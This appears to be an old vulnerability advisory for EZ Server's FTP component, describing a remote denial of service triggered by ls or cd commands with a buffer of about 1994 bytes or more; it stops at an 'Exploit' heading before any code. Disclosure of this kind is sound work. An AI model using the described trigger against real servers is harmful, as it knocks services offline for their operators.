1. DESCRIPTION
======================================================================

EZ Server is a "compact multi-threaded server has both HTTP and FTP
built right into it." (direct quote from http://www.html-helper.com)  

 
2. DETAILS
======================================================================

¤ Remote DoS :

A security vulnerability in EZ FTP server allows remote attackers to
cause the server to crash by executing a specific command (ls and cd 
command) with a buffer of 1994 or 1995 bytes in length or more.

The command can be issued to the FTP server either by a valid 
authenticated user or by the anonymous account (if this is enabled). 


3. EXPLOIT

The following is an example of what should be done to accomplish the 
Denial of Service attack:
